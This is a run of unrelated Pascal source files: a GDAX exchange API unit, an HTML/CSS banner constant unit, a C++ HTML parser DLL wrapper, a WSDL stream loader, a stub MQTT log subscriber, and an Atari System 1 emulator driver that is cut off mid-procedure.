GetCount; property OrderID: String read GetOrderID write SetOrderID; property ProductID: String read GetProductID write SetProductID; property TotalSize[Const ASides:TOrderSides]: Extended read GetTotalSize; property TotalPrice[Const ASides:TOrderSides]: Extended read GetTotalPrice; property TotalFees[Const ASides:TOrderSides]: Extended read GetTotalFees; //methods procedure ClearEntries; end; { IGDAXTicker } IGDAXTicker = interface(IGDAXRestAPI) ['{945801E3-05EC-423E-8036-0013F5D1AA02}'] //property methods function GetAsk: Extended; function GetBid: Extended; function GetPrice: Extended; function GetProduct: IGDAXProduct; function GetSize: Extended; function GetTime: TDateTime; function GetVolume: Extended; procedure SetAsk(Const AValue: Extended); procedure SetBid(Const AValue: Extended); procedure SetPrice(Const AValue: Extended); procedure SetProduct(Const AValue: IGDAXProduct); procedure SetSize(Const AValue: Extended); procedure SetTime(Const AValue: TDateTime); procedure SetVolume(Const AValue: Extended); //properties property Product: IGDAXProduct read GetProduct write SetProduct; property Price: Extended read GetPrice write SetPrice; property Size: Extended read GetSize write SetSize; property Bid: Extended read GetBid write SetBid; property Ask: Extended read GetAsk write SetAsk; property Volume: Extended read GetVolume write SetVolume; property Time: TDateTime read GetTime write SetTime; end; { IGDAXOrder } IGDAXOrder = interface(IGDAXRestAPI) ['{41D2CFC9-DD1B-4B4C-A187-73BC96EDB2B2}'] //property methods function GetCreatedAt: TDateTime; function GetExecutedValue: Extended; function GetFilledSized: Extended; function GetFillFees: Extended; function GetID: String; function GetOrderStatus: TOrderStatus; function GetOrderType: TOrderType; function GetPostOnly: Boolean; function GetPrice: Extended; function GetProduct: IGDAXProduct; function GetRejectReason: String; function GetSettled: Boolean; function GetSide: TOrderSide; function GetSize: Extended; function GetStopOrder: Boolean; procedure SetCreatedAt(Const AValue: TDateTime); procedure SetExecutedValue(Const AValue: Extended); procedure SetFilledSized(Const AValue: Extended); procedure SetFillFees(Const AValue: Extended); procedure SetID(Const AValue: String); procedure SetOrderStatus(Const AValue: TOrderStatus); procedure SetOrderType(Const AValue: TOrderType); procedure SetPostOnly(Const AValue: Boolean); procedure SetPrice(Const AValue: Extended); procedure SetProduct(Const AValue: IGDAXProduct); procedure SetRejectReason(Const AValue: String); procedure SetSettled(Const AValue: Boolean); procedure SetSide(Const AValue: TOrderSide); procedure SetSize(Const AValue: Extended); procedure SetStopOrder(Const AValue: Boolean); //properties property ID: String read GetID write SetID; property Product: IGDAXProduct read GetProduct write SetProduct; property OrderType: TOrderType read GetOrderType write SetOrderType; property OrderStatus: TOrderStatus read GetOrderStatus write SetOrderStatus; property Side: TOrderSide read GetSide write SetSide; property PostOnly: Boolean read GetPostOnly write SetPostOnly; property StopOrder: Boolean read GetStopOrder write SetStopOrder; property Settled: Boolean read GetSettled write SetSettled; property Size: Extended read GetSize write SetSize; property Price: Extended read GetPrice write SetPrice; property FillFees: Extended read GetFillFees write SetFillFees; property FilledSized: Extended read GetFilledSized write SetFilledSized; property ExecutedValue: Extended read GetExecutedValue write SetExecutedValue; property RejectReason: String read GetRejectReason write SetRejectReason; property CreatedAt: TDateTime read GetCreatedAt write SetCreatedAt; end; TGDAXOrderList = {$IFDEF FPC} TFPGInterfacedObjectList<IGDAXOrder> {$ELSE} TInterfaceList<IGDAXOrder> {$ENDIF}; { IGDAXOrders } IGDAXOrders = interface(IGDAXRestAPI) ['{02EB5136-81FA-46EE-AC3A-0665EA009C6B}'] //property methods function GetPaged: IGDAXPaged; function GetProduct: IGDAXProduct; function GetStatuses: TOrderStatuses; procedure SetProduct(Const AValue: IGDAXProduct); procedure SetStatuses(Const AValue: TOrderStatuses); function GetOrders: TGDAXOrderList; //properties property Orders: TGDAXOrderList read GetOrders; property Statuses: TOrderStatuses read GetStatuses write SetStatuses; property Product: IGDAXProduct read GetProduct write SetProduct; property Paged: IGDAXPaged read GetPaged; end; { TCurrency } TCurrency = packed record public const PROP_ID = 'id'; PROP_NAME = 'name'; PROP_MIN_SIZE = 'min_size'; PROP_STATUS = 'status'; PROP_MESSAGE = 'message'; strict private FID: String; FMinSize: Extended; FName: String; FStatus: String; FMessage: String; public property ID : String read FID write FID; property Name : String read FName write FName; property MinSize : Extended read FMinSize write FMinSize; property Status : String read FStatus write FStatus; property Message : String read FMessage write FMessage; constructor Create(Const AJSON:String); end; TCurrencyArray = array of TCurrency; { IGDAXCurrencies } IGDAXCurrencies = interface(IGDAXRestAPI) ['{9C3A7952-31F7-4064-AE64-AD1AB079CBE6}'] //property methods function GetCount: Cardinal; function GetCurrencies: TCurrencyArray; //properties property Currencies : TCurrencyArray read GetCurrencies; property Count : Cardinal read GetCount; end; implementation uses fpjson, jsonparser, fpIndexer; { TCurrency } constructor TCurrency.Create(Const AJSON: String); var LJSON : TJSONObject; begin LJSON := TJSONObject(GetJSON(AJSON)); if not Assigned(LJSON) then raise Exception.Create(E_BADJSON); try FID := LJSON.Get(PROP_ID); FMinSize := LJSON.Get(PROP_MIN_SIZE); FName := LJSON.Get(PROP_NAME); FStatus := LJSON.Get(PROP_STATUS); FMessage := ''; if Assigned(LJSON.Find(PROP_MESSAGE)) then FMessage := LJSON.Get(PROP_MESSAGE); finally LJSON.Free; end; end; { TFillEntry } constructor TFillEntry.Create(Const AJSON: String); var LJSON : TJSONObject; begin LJSON := TJSONObject(GetJSON(AJSON)); if not Assigned(LJSON) then raise Exception.Create(E_BADJSON); try FTradeID := LJSON.Get(PROP_ID); FProductID := LJSON.Get(PROP_PROD); FPrice := LJSON.Get(PROP_PRICE); FSize := LJSON.Get(PROP_SIZE); FOrderID := LJSON.Get(PROP_ORDER); FCreatedAt := fpIndexer.ISO8601ToDate(LJSON.Get(PROP_CREATE)); FLiquidity := LJSON.Get(PROP_LIQUID); FFee := LJSON.Get(PROP_FEE); FSettled := LJSON.Get(PROP_SETTLED); FSide := StringToOrderSide(LJSON.Get(PROP_SIDE)); finally LJSON.Free; end; end; { TLedgerEntry.TDetails } constructor TLedgerEntry.TDetails.Create(Const AJSON: String); var LJSON : TJSONObject; begin LJSON := TJSONObject(GetJSON(AJSON)); if not Assigned(LJSON) then raise Exception.Create(E_BADJSON); try FOrderID := LJSON.Get(PROP_ORDER_ID); FTradeID := LJSON.Get(PROP_TRADE_ID); FProductID := LJSON.Get(PROP_PROD_ID); finally LJSON.Free; end; end; { TLedgerEntry } constructor TLedgerEntry.Create(Const AJSON: String); var LJSON, LDetails : TJSONObject; begin LJSON := TJSONObject(GetJSON(AJSON)); if not Assigned(LJSON) then raise Exception.Create(E_BADJSON); try FID := LJSON.Get(PROP_ID); FCreatedAt := fpIndexer.ISO8601ToDate(LJSON.Get(PROP_CREATE)); FAmount := LJSON.Get(PROP_AMOUNT); FBalance := LJSON.Get(PROP_BALANCE); FLedgerType := StringToLedgerType(LJSON.Get(PROP_TYPE)); if not Assigned(LJSON.Find(PROP_DETAILS)) then raise Exception.Create(Format(E_INVALID,['details json','json object'])); LDetails := LJSON.Objects[PROP_DETAILS]; //deserialize details object FDetails := TDetails.Create(LDetails.AsJSON); finally LJSON.Free; end; end; { TBookEntry } constructor TBookEntry.Create(Const APrice: Single; Const ASize: Extended); begin FPrice := APrice; FSize := ASize; end; function TBookEntry.GetPrice: Extended; begin Result := FPrice; end; function TBookEntry.GetSide: TOrderSide; begin Result := FSide; end; function TBookEntry.GetSize: Extended; begin Result := FSize; end; procedure TBookEntry.SetPrice(Const Value: Extended); begin FPrice := Value; end; procedure TBookEntry.SetSide(Const Value: TOrderSide); begin FSide := Value; end; procedure TBookEntry.SetSize(Const Value: Extended); begin FSize := Value; end; { TAggregatedEntry } constructor TAggregatedEntry.Create(Const APrice: Extended; Const ASize: Extended; Const ANumberOrders: Cardinal); begin inherited create(APrice,ASize); FNumberOrders := ANumberOrders; end; function TAggregatedEntry.GetNumberOrders: Integer; begin Result := FNumberOrders; end; procedure TAggregatedEntry.SetNumberOrders(Const Value: Integer); begin FNumberOrders := Value; end; { TFullEntry } constructor TFullEntry.Create(Const APrice: Single; Const ASize: Extended; Const AOrderID: String); begin inherited create(APrice,ASize); FOrderID := AOrderID; end; function TFullEntry.GetOrderID: String; begin Result := FOrderID; end; procedure TFullEntry.SetOrderID(Const Value: String); begin FOrderID := Value; end; { TCandleBucket } constructor TCandleBucket.create(Const ATime: Extended; ALow, AHigh, AOpen, AClose: Extended; AVolume: Extended); begin Self.FTime := ATime; Self.FLow := ALow; Self.FHigh := AHigh; Self.FOpen := AOpen; Self.FClose := AClose; Self.FVolume := AVolume; end; class operator TCandleBucket.Equal(Const A, B: TCandleBucket): Boolean; begin Result := A.Time=B.Time; end; function TCandleBucket.GetClose: Extended; begin Result := FClose; end; function TCandleBucket.GetHigh: Extended; begin Result := FHigh; end; function TCandleBucket.GetLow: Extended; begin Result := FLow; end; function TCandleBucket.GetOpen: Extended; begin Result := FOpen; end; function TCandleBucket.GetTime: Extended; begin Result := FTime; end; function TCandleBucket.GetVolume: Extended; begin Result := FVolume; end; procedure TCandleBucket.SetClose(Const Value: Extended); begin FClose := Value; end; procedure TCandleBucket.SetHigh(Const Value: Extended); begin FHigh := Value; end; procedure TCandleBucket.SetLow(Const Value: Extended); begin FLow := Value; end; procedure TCandleBucket.SetOpen(Const Value: Extended); begin FOpen := Value; end; procedure TCandleBucket.SetTime(Const Value: Extended); begin FTime := Value; end; procedure TCandleBucket.SetVolume(Const Value: Extended); begin FVolume := Value; end; end.
unit uHtml; interface const cstHTMLCss = '<!--body' +'{' +'margin: 0;' +'padding: 0;' +'display: flex;' +'justify-content:center;' +'align-items: center;' +'min-height: 100vh;' +'background: #060c21;' +'font-family: ''poppins'',sans-serif;' +'}' +'.box{' +'position:' +' ' +'relative;' +'width: 550px;' +'height: 300px;' +'display: flex;' +'justify-content: center;' +'align-items: center;' +'background: #060c21;' +'}' +' ' +'.box:before{' +'content:'''';' +'position: absolute;' +'top: -2px;' +'left: -2px;' +'right: -2px;' +'bottom: -2px;' +'background:#fff;' +'z-index:-1;' +'}' +' ' +'.box:after{' +'content:'''';' +'position: absolute;' +'top: -2px;' +'left: -2px;' +'right: -2px;' +'bottom: -2px;' +'background:#fff;' +'z-index:-2;' +'filter: blur(40px);' +'}' +' ' +'.box:before,' +'.box:after{' +'background:linear-gradient(235deg,#89ff00,#060c21,#00bcd4);' +'}' +' ' +'.content{' +'text-align:Left;' +'padding: 20px;' +'box-sizing: border-box;' +'color:#fff;' +' ' +'}' +'.text{' +'font-size: 2em;' +'font-weight: bold;' +'fill: none;' +'stroke-width: 2px;' +'stroke-dasharray: 90 310;' +'animation: stroke 6s infinite linear;' +'}' +'.text-1{' +'stroke: #3498db;' +'text-shadow: 0 0 5px #3498db;' +'animation-delay: -1.5s;' +'}' +'.text-2{' +'stroke: #f39c12;' +'text-shadow: 0 0 5px #f39c12;' +'animation-delay: -3s;' +'}' +'.text-3{' +'stroke: #e74c3c;' +'text-shadow: 0 0 5px #e74c3c;' +'animation-delay: -4.5s;' +'}' +'.text-4{' +'stroke: #9b59b6;' +'text-shadow: 0 0 5px #9b59b6;' +'animation-delay: -6s;' +'}' +'@keyframes stroke {' +'100% {' +'stroke-dashoffset: -400;' +'}' +'}' +'.arrow_box{animation: glow 800ms ease-out infinite alternate; }' +'@keyframes glow {' +'0% {' +'border-color: #393;' +'box-shadow: 0 0 5px rgba(0,255,0,.2), inset 0 0 5px rgba(0,255,0,.1), 0 1px 0 #393;' +'}' +'100% {' +'border-color: #6f6;' +'box-shadow: 0 0 20px rgba(0,255,0,.6), inset 0 0 10px rgba(0,255,0,.4), 0 1px 0 #6f6;' +'}' +'}'; cstHTMLBegin = '<html lang="en">' +'<head>' +'<meta charset="UTF8">' +'<meta name="viewport" content="width=device-width, initial-scale=1.0">' +'<meta http-equiv="X-UA-Compatible" content="ie=edge">' +'<meta name="description" content="pricing static web pages">' +'<title>YxDServer</title> ' +'<style type="text/css">' +cstHTMLCss +'</style> ' +'</head>' +'<body>' +'<div class="arrow_box">' +'<div class="box">' +'<div class="content">' +'<svg style="width:500px;height:50px">' +'<text text-anchor="middle" x="50%" y="50%" class="text text-1">' +'Welcome mORMot WebBroker' +'</text>' +'<text text-anchor="middle" x="50%" y="50%" class="text text-2">' +'Welcome mORMot WebBroker' +'</text>' +'<text text-anchor="middle" x="50%" y="50%" class="text text-3">' +'Welcome mORMot WebBroker' +'</text>' +'<text text-anchor="middle" x="50%" y="50%" class="text text-4">' +'Welcome mORMot WebBroker' +'</text>' +'</svg>'; cstHTMLEnd = '</div>' +'</div>' +'</div>' +'</body>' +'</html>'; implementation end.
unit cpp_dll_interface; { UNICODE Handling: NONE! All Strings are AnsiStrings! You have to manually convert WideStrings into UTF8 if you want to use this Parser! 16.10.2011 Ulrich Hornung } interface uses parser_types, Classes; const MaxListSize = MaxInt div 16; type ppAnsiChar = ^PAnsiChar; pParserHandle = ^Integer; pTagType = ^THTMLParserTagType; PAnsiCharList = packed array[0..MaxListSize-1] of PAnsiChar; pPAnsiCharList = ^PAnsiCharList; ppPAnsiCharList = ^pPAnsiCharList; TCPPHTMLParser = class private myParser: pParserHandle; fname: PAnsiChar; ftype: THTMLParserTagType; fcontent: PAnsiChar; fattrcount: cardinal; fcode: AnsiSTring; fready: boolean; fAttrNames: pPAnsiCharList; fAttrValues: pPAnsiCharList; protected function getCurrAttr(Index: Cardinal): THTMLParser_Attribute; public property CurrAttr[Index: Cardinal]: THTMLParser_Attribute read getCurrAttr; function CurContent: AnsiString; function CurName: AnsiString; function CurTagType: THTMLParserTagType; function Parse: Boolean; function Ready: boolean; function AttrCount: Integer; constructor Create(htmlcode: AnsiString); destructor Destroy; override; end; implementation uses SysUtils; const cpp_parser_dll = 'cpphtmlparser.dll'; function creax_createParser(htmlcode: PAnsiChar): pParserHandle; cdecl; external cpp_parser_dll; function creax_freeParser(parser: pParserHandle): pParserHandle; cdecl; external cpp_parser_dll; function creax_parse(parser: pParserHandle; tag_type: pTagType; tagName: ppAnsiChar; tagContent: ppAnsiChar; attributeCount: PCardinal; names: ppPAnsiCharList; values: ppPAnsiCharList): Boolean; cdecl; external cpp_parser_dll; function creax_getAttribute(parser: pParserHandle; index: cardinal; name: ppAnsiChar; value: ppAnsiChar): boolean; cdecl; external cpp_parser_dll; { TCPPHTMLParser } function TCPPHTMLParser.AttrCount: Integer; begin Result := fattrcount; end; constructor TCPPHTMLParser.Create(htmlcode: AnsiString); begin // inherited Create(htmlcode); don't call an abstract constructor! fready := false; fcode := htmlcode; myParser := creax_createParser(PAnsiChar(fcode)); end; destructor TCPPHTMLParser.Destroy; begin creax_freeParser(myParser); inherited; end; function TCPPHTMLParser.CurContent: AnsiString; begin Result := fcontent; end; function TCPPHTMLParser.getCurrAttr(Index: Cardinal): THTMLParser_Attribute; //var pname, pvalue: PAnsiChar; begin {if (not creax_getAttribute(myParser, index, @pname, @pvalue)) then raise Exception.Create('TCPPHTMLParser.GetCurrAttr(): Failed fetching attribute!'); Result.Name := pname; Result.Value := pvalue;} if (Index >= fattrcount) then raise Exception.Create('TCPPHTMLParser.getCurrAttr(): index out of bounds!'); Result.Name := (fAttrNames^)[Index]; Result.Value := (fAttrValues^)[Index]; end; function TCPPHTMLParser.CurName: AnsiString; begin Result := fname; end; function TCPPHTMLParser.CurTagType: THTMLParserTagType; begin Result := ftype; end; function TCPPHTMLParser.Parse: Boolean; begin Result := creax_parse(myParser, @ftype, @fname, @fcontent, @fattrcount, @fAttrNames, @fAttrValues); if not Result then fready := true; end; function TCPPHTMLParser.Ready: boolean; begin Result := fready; end; end.
{ Clever Internet Suite Copyright (C) 2014 Clever Components All Rights Reserved www.CleverComponents.com } unit clStreamLoader; interface {$I clVer.inc} uses {$IFNDEF DELPHIXE2} Classes, SysUtils, HTTPUtil, {$ELSE} System.Classes, System.SysUtils, Soap.HTTPUtil, {$ENDIF} clHttp; type TclStreamLoader = class(TInterfacedObject, IStreamLoader) private FOwnHttp: TclHttp; FHttp: TclHttp; function GetHttp: TclHttp; function IsHTTP(const Name: string): Boolean; procedure LoadFromURL(const URL: string; Stream: TStream); public constructor Create; overload; constructor Create(AHttp: TclHttp); overload; destructor Destroy; override; {$IFDEF DELPHIXE3} procedure Load(const WSDLFileName: string; Stream: TMemoryStream); {$ELSE} procedure Load(const WSDLFileName: WideString; Stream: TMemoryStream); {$ENDIF} function GetProxy: string; procedure SetProxy(const AProxy: string); function GetUserName: string; procedure SetUserName(const AUserName: string); function GetPassword: string; procedure SetPassword(const APassword: string); function GetTimeout: Integer; procedure SetTimeout(ATimeOut: Integer); end; implementation { TclStreamLoader } constructor TclStreamLoader.Create; begin inherited Create(); end; constructor TclStreamLoader.Create(AHttp: TclHttp); begin inherited Create(); FHttp := AHttp; end; destructor TclStreamLoader.Destroy; begin FOwnHttp.Free(); inherited Destroy(); end; function TclStreamLoader.GetHttp: TclHttp; begin Result := FHttp; if (Result = nil) then begin if (FOwnHttp = nil) then begin FOwnHttp := TclHttp.Create(nil); end; Result := FOwnHttp; end; end; function TclStreamLoader.GetPassword: string; begin Result := GetHttp().Password; end; function TclStreamLoader.GetProxy: string; begin Result := GetHttp().ProxySettings.Server; end; function TclStreamLoader.GetTimeout: Integer; begin Result := GetHttp().TimeOut; end; function TclStreamLoader.GetUserName: string; begin Result := GetHttp().UserName; end; function TclStreamLoader.IsHTTP(const Name: string): Boolean; const cHTTPPrefix = 'http://'; cHTTPsPrefix= 'https://'; var s: string; begin s := LowerCase(Trim(Name)); Result := (System.Pos(cHTTPPrefix, s) = 1) or (System.Pos(cHTTPsPrefix, s) = 1); end; {$IFDEF DELPHIXE3} procedure TclStreamLoader.Load(const WSDLFileName: string; Stream: TMemoryStream); {$ELSE} procedure TclStreamLoader.Load(const WSDLFileName: WideString; Stream: TMemoryStream); {$ENDIF} var s: string; begin s := Trim(string(WSDLFileName)); if IsHTTP(s) then begin LoadFromURL(s, Stream) end else begin Stream.LoadFromFile(s); end; end; procedure TclStreamLoader.LoadFromURL(const URL: string; Stream: TStream); begin GetHttp().Get(URL, Stream); end; procedure TclStreamLoader.SetPassword(const APassword: string); begin GetHttp().Password := APassword; end; procedure TclStreamLoader.SetProxy(const AProxy: string); begin GetHttp().ProxySettings.Server := AProxy; end; procedure TclStreamLoader.SetTimeout(ATimeOut: Integer); begin GetHttp().TimeOut := ATimeOut; end; procedure TclStreamLoader.SetUserName(const AUserName: string); begin GetHttp().UserName := AUserName; end; end.
{ Copyright (C) 2013-2019 Tim Sinaeve tim.sinaeve@gmail.com Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. } unit LogViewer.Subscribers.MQTT; interface uses System.Classes, MQTT, Spring, LogViewer.Interfaces, LogViewer.Subscribers.Base; type TMQTTSubscriber = class(TSubscriber, ISubscriber, IMQTT) private FMQTT : TMQTT; //procedure CreateSubscriberSocket(const AEndPoint: string); protected {$REGION 'property access methods'} procedure SetEnabled(const Value: Boolean); override; function GetSourceId: UInt32; override; {$ENDREGION} procedure Poll; override; public constructor Create( const AReceiver : IChannelReceiver; AMQTT : TMQTT; ASourceId : UInt32; const AKey : string; const ASourceName : string; AEnabled : Boolean ); reintroduce; virtual; procedure AfterConstruction; override; procedure BeforeDestruction; override; end; implementation {$REGION 'construction and destruction'} procedure TMQTTSubscriber.AfterConstruction; begin inherited AfterConstruction; end; procedure TMQTTSubscriber.BeforeDestruction; begin inherited BeforeDestruction; end; constructor TMQTTSubscriber.Create(const AReceiver: IChannelReceiver; AMQTT: TMQTT; ASourceId: UInt32; const AKey, ASourceName: string; AEnabled: Boolean); begin inherited Create(AReceiver, ASourceId, AKey, ASourceName, AEnabled); FMQTT := AMQTT; end; {$ENDREGION} {$REGION 'property access methods'} procedure TMQTTSubscriber.SetEnabled(const Value: Boolean); begin inherited; end; {$ENDREGION} {$REGION 'protected methods'} function TMQTTSubscriber.GetSourceId: UInt32; begin end; procedure TMQTTSubscriber.Poll; begin inherited; end; {$ENDREGION} end.
unit atari_system1; interface uses {$IFDEF WINDOWS}windows,{$ENDIF} m6502,m68000,main_engine,controls_engine,gfx_engine,rom_engine,pokey, pal_engine,sound_engine,slapstic,ym_2151,atari_mo; function iniciar_atari_sys1:boolean; implementation const //System ROMS atari_sys1_bios:array[0..1] of tipo_roms=( (n:'136032.205.l13';l:$4000;p:$0;crc:$88d0be26),(n:'136032.206.l12';l:$4000;p:$1;crc:$3c79ef05)); atari_sys1_char:tipo_roms=(n:'136032.104.f5';l:$2000;p:0;crc:$7a29dc07); peterpak_rom:array[0..7] of tipo_roms=( (n:'136028.142';l:$4000;p:$0;crc:$4f9fc020),(n:'136028.143';l:$4000;p:$1;crc:$9fb257cc), (n:'136028.144';l:$4000;p:$8000;crc:$50267619),(n:'136028.145';l:$4000;p:$8001;crc:$7b6a5004), (n:'136028.146';l:$4000;p:$10000;crc:$4183a67a),(n:'136028.147';l:$4000;p:$10001;crc:$14e2d97b), (n:'136028.148';l:$4000;p:$20000;crc:$230e8ba9),(n:'136028.149';l:$4000;p:$20001;crc:$0ff0c13a)); peterpak_sound:array[0..1] of tipo_roms=( (n:'136028.101';l:$4000;p:$8000;crc:$ff712aa2),(n:'136028.102';l:$4000;p:$c000;crc:$89ea21a1)); peterpak_back:array[0..11] of tipo_roms=( (n:'136028.138';l:$8000;p:0;crc:$53eaa018),(n:'136028.139';l:$8000;p:$10000;crc:$354a19cb), (n:'136028.140';l:$8000;p:$20000;crc:$8d2c4717),(n:'136028.141';l:$8000;p:$30000;crc:$bf59ea19), (n:'136028.150';l:$8000;p:$80000;crc:$83362483),(n:'136028.151';l:$8000;p:$90000;crc:$6e95094e), (n:'136028.152';l:$8000;p:$a0000;crc:$9553f084),(n:'136028.153';l:$8000;p:$b0000;crc:$c2a9b028), (n:'136028.105';l:$4000;p:$104000;crc:$ac9a5a44),(n:'136028.108';l:$4000;p:$114000;crc:$51941e64), (n:'136028.111';l:$4000;p:$124000;crc:$246599f3),(n:'136028.114';l:$4000;p:$134000;crc:$918a5082)); peterpak_proms:array[0..1] of tipo_roms=( (n:'136028.136';l:$200;p:0;crc:$861cfa36),(n:'136028.137';l:$200;p:$200;crc:$8507e5ea)); //Indiana indy_rom:array[0..7] of tipo_roms=( (n:'136036.432';l:$8000;p:$0;crc:$d888cdf1),(n:'136036.431';l:$8000;p:$1;crc:$b7ac7431), (n:'136036.434';l:$8000;p:$10000;crc:$802495fd),(n:'136036.433';l:$8000;p:$10001;crc:$3a914e5c), (n:'136036.456';l:$4000;p:$20000;crc:$ec146b09),(n:'136036.457';l:$4000;p:$20001;crc:$6628de01), (n:'136036.358';l:$4000;p:$28000;crc:$d9351106),(n:'136036.359';l:$4000;p:$28001;crc:$e731caea)); indy_sound:array[0..2] of tipo_roms=( (n:'136036.153';l:$4000;p:$4000;crc:$95294641),(n:'136036.154';l:$4000;p:$8000;crc:$cbfc6adb), (n:'136036.155';l:$4000;p:$c000;crc:$4c8233ac)); indy_back:array[0..15] of tipo_roms=( (n:'136036.135';l:$8000;p:0;crc:$ffa8749c),(n:'136036.139';l:$8000;p:$10000;crc:$b682bfca), (n:'136036.143';l:$8000;p:$20000;crc:$7697da26),(n:'136036.147';l:$8000;p:$30000;crc:$4e9d664c), (n:'136036.136';l:$8000;p:$80000;crc:$b2b403aa),(n:'136036.140';l:$8000;p:$90000;crc:$ec0c19ca), (n:'136036.144';l:$8000;p:$a0000;crc:$4407df98),(n:'136036.148';l:$8000;p:$b0000;crc:$70dce06d), (n:'136036.137';l:$8000;p:$100000;crc:$3f352547),(n:'136036.141';l:$8000;p:$110000;crc:$9cbdffd0), (n:'136036.145';l:$8000;p:$120000;crc:$e828e64b),(n:'136036.149';l:$8000;p:$130000;crc:$81503a23), (n:'136036.138';l:$8000;p:$180000;crc:$48c4d79d),(n:'136036.142';l:$8000;p:$190000;crc:$7faae75f), (n:'136036.146';l:$8000;p:$1a0000;crc:$8ae5a7b5),(n:'136036.150';l:$8000;p:$1b0000;crc:$a10c4bd9)); indy_proms:array[0..1] of tipo_roms=( (n:'136036.152';l:$200;p:0;crc:$4f96e57c),(n:'136036.151';l:$200;p:$200;crc:$7daf351f)); //Marble marble_rom:array[0..9] of tipo_roms=( (n:'136033.623';l:$4000;p:$0;crc:$284ed2e9),(n:'136033.624';l:$4000;p:$1;crc:$d541b021), (n:'136033.625';l:$4000;p:$8000;crc:$563755c7),(n:'136033.626';l:$4000;p:$8001;crc:$860feeb3), (n:'136033.627';l:$4000;p:$10000;crc:$d1dbd439),(n:'136033.628';l:$4000;p:$10001;crc:$957d6801), (n:'136033.229';l:$4000;p:$18000;crc:$c81d5c14),(n:'136033.630';l:$4000;p:$18001;crc:$687a09f7), (n:'136033.107';l:$4000;p:$20000;crc:$f3b8745b),(n:'136033.108';l:$4000;p:$20001;crc:$e51eecaa)); marble_sound:array[0..1] of tipo_roms=( (n:'136033.421';l:$4000;p:$8000;crc:$78153dc3),(n:'136033.422';l:$4000;p:$c000;crc:$2e66300e)); marble_back:array[0..12] of tipo_roms=( (n:'136033.137';l:$4000;p:0;crc:$7a45f5c1),(n:'136033.138';l:$4000;p:$4000;crc:$7e954a88), (n:'136033.139';l:$4000;p:$10000;crc:$1eb1bb5f),(n:'136033.140';l:$4000;p:$14000;crc:$8a82467b), (n:'136033.141';l:$4000;p:$20000;crc:$52448965),(n:'136033.142';l:$4000;p:$24000;crc:$b4a70e4f), (n:'136033.143';l:$4000;p:$30000;crc:$7156e449),(n:'136033.144';l:$4000;p:$34000;crc:$4c3e4c79), (n:'136033.145';l:$4000;p:$40000;crc:$9062be7f),(n:'136033.146';l:$4000;p:$44000;crc:$14566dca), (n:'136033.149';l:$4000;p:$84000;crc:$b6658f06),(n:'136033.151';l:$4000;p:$94000;crc:$84ee1c80), (n:'136033.153';l:$4000;p:$a4000;crc:$daa02926)); marble_proms:array[0..1] of tipo_roms=( (n:'136033.118';l:$200;p:0;crc:$2101b0ed),(n:'136033.119';l:$200;p:$200;crc:$19f6e767)); atari_sys1_mo_config:atari_motion_objects_config=( gfxindex:1; // index to which gfx system */ bankcount:8; // number of motion object banks */ linked:true; // are the entries linked? */ split:true; // are the entries split? */ reverse:false; // render in reverse order? */ swapxy:false; // render in swapped X/Y order? */ nextneighbor:false; // does the neighbor bit affect the next object? */ slipheight:0; // pixels per SLIP entry (0 for no-slip) */ slipoffset:0; // pixel offset for SLIPs */ maxperline:$38; // maximum number of links to visit/scanline (0=all) */ palettebase:$100; // base palette entry */ maxcolors:$100; // maximum number of colors */ transpen:0; // transparent pen index */ link_entry:(0,0,0,$003f); // mask for the link */ code_entry:(data_lower:(0,$ffff,0,0);data_upper:(0,0,0,0)); // mask for the code index */ color_entry:(data_lower:(0,$ff00,0,0);data_upper:(0,0,0,0)); // mask for the color */ xpos_entry:(0,0,$3fe0,0); // mask for the X position */ ypos_entry:($3fe0,0,0,0); // mask for the Y position */ width_entry:(0,0,0,0); // mask for the width, in tiles*/ height_entry:($000f,0,0,0); // mask for the height, in tiles */ hflip_entry:($8000,0,0,0); // mask for the horizontal flip */ vflip_entry:(0,0,0,0); // mask for the vertical flip */ priority_entry:(0,0,$8000,0); // mask for the priority */ neighbor_entry:(0,0,0,0); // mask for the neighbor */ absolute_entry:(0,0,0,0);// mask for absolute coordinates */ special_entry:(0,$ffff,0,0); // mask for the special value */ specialvalue:$ffff; // resulting value to indicate "special" */ ); CPU_SYNC=1; var rom:array[0..$3ffff] of word; slapstic_rom:array[0..3,0..$fff] of word; ram:array[0..$fff] of word; ram2:array[0..$7ffff] of word; ram3:array[0..$1fff] of word; sound_latch,main_latch:byte; write_eeprom,main_pending,sound_pending:boolean; //Video playfield_lookup:array[0..$ff] of word; bank_color_shift:array[0..7] of byte; linea,scroll_x,scroll_y,scroll_y_latch,bankselect:word; rom_bank,vblank,playfield_tile_bank:byte; eeprom_ram:array[0..$7ff] of byte; procedure update_video_atari_sys1; var f,color,x,y,nchar,atrib,atrib2:word; gfx_index:byte; begin fill_full_screen(3,$2000); for f:=0 to $7ff do begin x:=f mod 64; y:=f div 64; atrib:=ram3[($3000+(f*2)) shr 1]; color:=(atrib shr 10) and 7; if (gfx[0].buffer[f] or buffer_color[color]) then begin nchar:=atrib and $3ff; if (atrib and $2000)=0 then put_gfx_trans(x*8,y*8,nchar,color shl 2,1,0) else put_gfx(x*8,y*8,nchar,color shl 2,1,0); gfx[0].buffer[f]:=false; end; end; for f:=0 to $fff do begin x:=f mod 64; y:=f div 64; atrib:=ram3[f]; atrib2:=playfield_lookup[((atrib shr 8) and $7f) or (playfield_tile_bank shl 7)]; gfx_index:=(atrib2 shr 8) and $f; color:=$20+(((atrib2 shr 12) and $f) shl bank_color_shift[gfx_index]); if (gfx[1].buffer[f] or buffer_color[color]) then begin nchar:=((atrib2 and $ff) shl 8) or (atrib and $ff); put_gfx_flip(x*8,y*8,nchar,color shl 4,2,gfx_index,((atrib shr 15) and 1)<>0,false); gfx[1].buffer[f]:=false; end; end; scroll_x_y(2,3,scroll_x,scroll_y); atari_mo_0.draw(0,256,-1); actualiza_trozo(0,0,512,256,1,0,0,512,256,3); actualiza_trozo_final(0,0,336,240,3); fillchar(buffer_color,MAX_COLOR_BUFFER,0); end; procedure eventos_atari_sys1; begin if event.arcade then begin if arcade_input.but0[0] then marcade.in0:=(marcade.in0 and $fffe) else marcade.in0:=(marcade.in0 or 1); if arcade_input.start[1] then marcade.in0:=(marcade.in0 and $fffd) else marcade.in0:=(marcade.in0 or 2); if arcade_input.but1[0] then marcade.in0:=(marcade.in0 and $fffb) else 